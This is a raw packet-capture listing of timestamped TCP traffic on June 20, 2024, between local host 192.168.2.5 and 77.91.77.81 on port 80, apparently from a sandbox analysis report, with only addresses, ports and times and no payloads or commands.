Jun 20, 2024 15:38:19.071613073 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.071613073 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.073695898 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.073750019 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.073784113 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.073801041 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.073801041 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.073817968 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.073827982 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.073854923 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.073888063 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.073904037 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.073904037 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.073924065 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.073971987 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.073971987 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.084510088 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.084590912 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.084628105 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.084641933 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.084641933 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.084688902 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.084692955 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.084728956 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.084754944 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.084783077 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.084790945 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.084836960 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.084861040 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.084873915 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.084908962 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.084927082 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.084927082 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.084944010 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.084978104 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.084991932 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.084991932 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.085011959 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.085048914 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.085061073 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.085061073 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.085083008 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.085108995 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.085119009 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.085153103 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.085169077 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.085169077 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.085187912 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.085210085 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.085222960 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.085241079 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.085258961 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.085293055 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.085319042 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.085319042 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.085328102 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.085361004 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.085380077 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.085380077 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.085445881 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.085499048 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.085546017 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.085581064 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.085594893 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.085594893 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.085613012 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.085648060 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.085659981 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.085659981 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.085685968 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.085715055 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.085736990 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.085766077 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.085766077 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.101979971 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.102018118 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.102056026 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.102093935 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.102144957 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.102180958 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.102214098 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.102238894 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.102238894 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.102247953 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.102277994 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.102332115 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.128446102 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.128500938 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.128649950 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.128703117 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.128736973 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.128763914 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.128771067 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.128824949 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.128854036 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.128854036 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.128859997 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.128895998 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.128906965 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.128906965 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.128946066 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.128994942 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.128994942 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.129076004 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.129111052 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.129144907 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.129158020 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.129158020 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.129199982 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.129204035 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.129234076 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.129268885 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.129280090 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.129280090 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.129302979 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.129332066 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.129355907 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.129369974 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.129386902 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.129411936 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.129426003 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.129440069 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.129482031 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.129515886 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.129559040 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.129566908 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.129580975 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.129601002 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.129621029 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.129653931 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.129659891 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.129756927 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.129771948 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.129806995 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.129832029 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.129841089 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.129869938 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.129877090 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.129901886 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.129911900 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.129928112 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.129947901 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.129981041 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.129992962 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.129992962 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.130014896 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.130049944 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.130146027 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.130162954 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.130181074 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.130207062 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.130215883 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.130253077 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.130263090 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.130263090 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.130286932 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.130321026 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.130328894 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.130331039 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.130354881 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.130362988 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.130390882 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.130424023 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.130434036 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.130434036 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.130459070 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.130470037 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.130496025 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.130542994 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.130542994 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.131871939 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.131928921 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.132019043 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.132050037 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.132083893 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.132107973 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.132117987 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.132152081 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.132167101 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.132167101 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.132186890 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.132199049 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.132282972 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.132320881 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.132416010 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.157016993 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.157144070 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.157206059 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.157222033 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.157244921 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.157257080 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.157272100 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.157289028 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.157289028 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.157305002 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.157320976 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.157326937 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.157335997 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.157354116 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.157367945 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.157371044 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.157371998 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.157383919 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.157398939 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.157403946 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.157430887 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.157438993 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.157438993 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.157447100 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.157463074 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.157478094 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.157483101 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.157495975 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.157495975 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.157546043 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.157546043 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.157895088 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.157911062 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.157927990 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.157943964 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.157952070 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.157952070 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.157960892 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.157969952 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.157999992 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.158065081 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.159991980 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.160008907 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.160026073 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.160052061 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.160089970 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.160094976 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.160111904 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.160128117 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.160145998 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.160164118 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.160207033 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.160207033 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.170655966 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.170691013 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.170723915 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.170770884 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.170770884 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.170869112 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.170921087 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.170953035 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.170986891 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.170999050 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.170999050 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.171022892 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.171056986 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.171070099 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.171070099 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.171092033 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.171124935 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.171135902 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.171135902 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.171211958 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.171238899 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.171293974 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.171329975 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.171344042 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.171344042 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.171364069 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.171371937 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.171406031 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.171421051 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.171456099 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.171489000 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.171500921 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.171500921 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.171523094 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.171557903 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.171570063 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.171570063 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.171591997 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.171626091 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.171638012 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.171638012 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.171663046 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.171691895 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.171700954 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.171736002 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.171745062 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.171745062 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.171770096 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.171802998 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.171814919 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.171814919 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.171838999 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.171886921 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.171890974 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.171890974 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.172295094 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.186496973 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.186527967 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.186556101 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.186563015 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.186569929 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.186635971 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.186656952 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.186671972 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.186703920 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.186726093 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.186741114 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.186788082 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.186789036 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.186809063 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.186978102 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.215480089 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.215537071 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.215590954 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.215598106 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.215598106 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.215626001 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.215661049 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.215672016 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.215672016 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.215694904 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.215720892 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.215749025 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.215754986 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.215800047 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.215867996 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.215898037 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.215931892 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.215985060 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.216005087 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.216005087 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.216018915 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.216032982 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.216053009 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.216087103 CEST	80	49718	77.91.77.81	192.168.2.5
